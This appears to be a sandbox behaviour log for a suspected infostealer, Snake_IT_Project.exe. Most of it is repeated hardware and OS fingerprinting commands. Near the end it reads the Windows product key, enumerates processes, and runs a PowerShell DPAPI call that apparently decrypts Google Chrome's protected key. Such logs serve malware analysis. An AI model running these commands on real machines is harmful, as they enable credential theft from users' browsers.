C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4108
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:688
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4388
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3192
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:1860
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3512
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4488
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1936
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:1200
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1916
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3848
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3200
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3432
-
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:388
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2720
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1512
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1664
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3160
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3608
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4032
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1080
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4148
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1204
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2112
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1776
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1200
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:464
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵
- Detects videocard installed
PID:3704
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3388
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:4044
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4268
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4240
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:688
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2460
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4272
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:4888
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:1772
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3424
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:2780
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3044
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2372
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5156
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5456
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5464
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5676
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5776
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5984
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5904
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5564
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5616
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5768
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5712
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:404
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5728
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5264
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1760
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3160
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5540
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5836
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4488
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5880
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:388
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1568
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5864
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5824
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:6104
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5548
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5912
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5688
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4388
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5564
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5644
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3480
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:6104
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1028
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3208
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5572
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5524
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5868
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5776
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:4708
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:984
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5276
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5696
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2784
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2228
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4780
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5760
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5128
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:6028
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5364
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5648
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5908
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5208
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2112
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3740
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5336
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5756
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5880
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5616
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5776
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:2208
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3676
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:6028
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:1588
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5296
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5740
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:6032
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3512
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5848
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5508
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5564
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5732
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5180
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3204
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5676
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5720
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5832
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5616
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5280
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5548
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5252
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2372
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5988
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5872
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5660
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:6016
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:6020
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:4940
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5904
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4156
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5684
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5756
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5184
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5504
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4940
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5512
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5656
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5848
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5836
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5516
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4252
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5624
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5784
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5984
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5756
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1220
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:984
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5132
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3704
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5788
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5184
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:2228
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:1372
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:6076
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3208
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:388
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5640
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4460
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5168
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:6032
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5796
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5912
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4664
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:4780
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5976
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5748
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5888
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5820
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2316
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:984
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5124
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3716
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5600
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1916
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5640
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4140
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:6040
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:6080
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:6112
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2256
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2372
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3128
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1028
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1632
-
-
-
C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3264 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1556
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2456
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"2⤵PID:2316
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault3⤵PID:2384
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵PID:404
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:3580
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵PID:4996
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:4668
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,201,108,43,11,193,7,101,56,196,14,63,26,165,227,238,21,238,227,19,237,244,60,168,166,83,163,130,27,109,64,100,227,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,109,171,61,113,224,41,227,89,40,162,146,114,22,144,190,63,115,78,150,162,62,218,190,78,194,250,204,188,123,237,170,133,48,0,0,0,234,98,225,164,100,19,111,66,197,46,181,35,231,14,65,13,67,20,209,188,27,103,118,0,42,31,143,144,174,199,250,148,164,180,217,213,242,58,13,187,73,238,24,42,100,174,212,181,64,0,0,0,9,162,191,185,199,46,29,255,187,231,132,139,77,53,169,3,221,239,37,33,206,137,138,127,26,148,86,204,196,149,20,220,241,178,147,1,197,153,194,212,46,116,161,154,159,34,230,65,132,55,253,14,194,37,85,15,39,180,214,74,197,194,39,36), $null, 'CurrentUser')"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
PID:2844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,201,108,43,11,193,7,101,56,196,14,63,26,165,227,238,21,238,227,19,237,244,60,168,166,83,163,130,27,109,64,100,227,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,109,171,61,113,224,41,227,89,40,162,146,114,22,144,190,63,115,78,150,162,62,218,190,78,194,250,204,188,123,237,170,133,48,0,0,0,234,98,225,164,100,19,111,66,197,46,181,35,231,14,65,13,67,20,209,188,27,103,118,0,42,31,143,144,174,199,250,148,164,180,217,213,242,58,13,187,73,238,24,42,100,174,212,181,64,0,0,0,9,162,191,185,199,46,29,255,187,231,132,139,77,53,169,3,221,239,37,33,206,137,138,127,26,148,86,204,196,149,20,220,241,178,147,1,197,153,194,212,46,116,161,154,159,34,230,65,132,55,253,14,194,37,85,15,39,180,214,74,197,194,39,36), $null, 'CurrentUser')3⤵PID:916
-
-
-
